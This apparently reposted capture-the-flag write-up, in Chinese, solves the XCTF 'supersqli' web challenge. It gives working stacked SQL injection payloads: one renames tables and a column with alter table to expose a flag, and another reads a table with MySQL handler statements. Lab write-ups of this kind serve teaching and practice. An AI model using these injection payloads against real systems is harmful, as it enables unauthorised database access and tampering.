xctf-web supersqli

xctf-web supersqli_第1张图片

单引号注入,用order by查到了两个column。用union select的时候发现select关键字被过滤了

xctf-web supersqli_第2张图片

用分号尝试堆叠注入显示出了两张表

 

xctf-web supersqli_第3张图片

分别查询字段

xctf-web supersqli_第4张图片

xctf-web supersqli_第5张图片

flag在表1919810931114514中

方法一:

words中有字段id,id应该为表单查询语句中的查询字段。可以猜测sql语句为:select * from words where id='';

因为没有限制alter,rename和change。所以可以通过修改表名来查flag。只需要把原本的words改成其他名字,1919810931114514表改为words,然后把字段flag改为id即可

 

payload:

1‘;alter table words rename to (任意名称);

alter table `1919810931114514` rename to words;

alter table words change flag id varchar(20);--+

 

之后用1’ or 1=1--+就可显示flag

(妙啊~~)

方法二:

利用mysql特有的handler查询

payload:1';handler  `1919810931114514`  open;handler `1919810931114514` read first;--+

handler的使用可参考:https://blog.csdn.net/JesseYoung/article/details/40785137

 

其他方法后续更新

你可能感兴趣的:(xctf-web supersqli)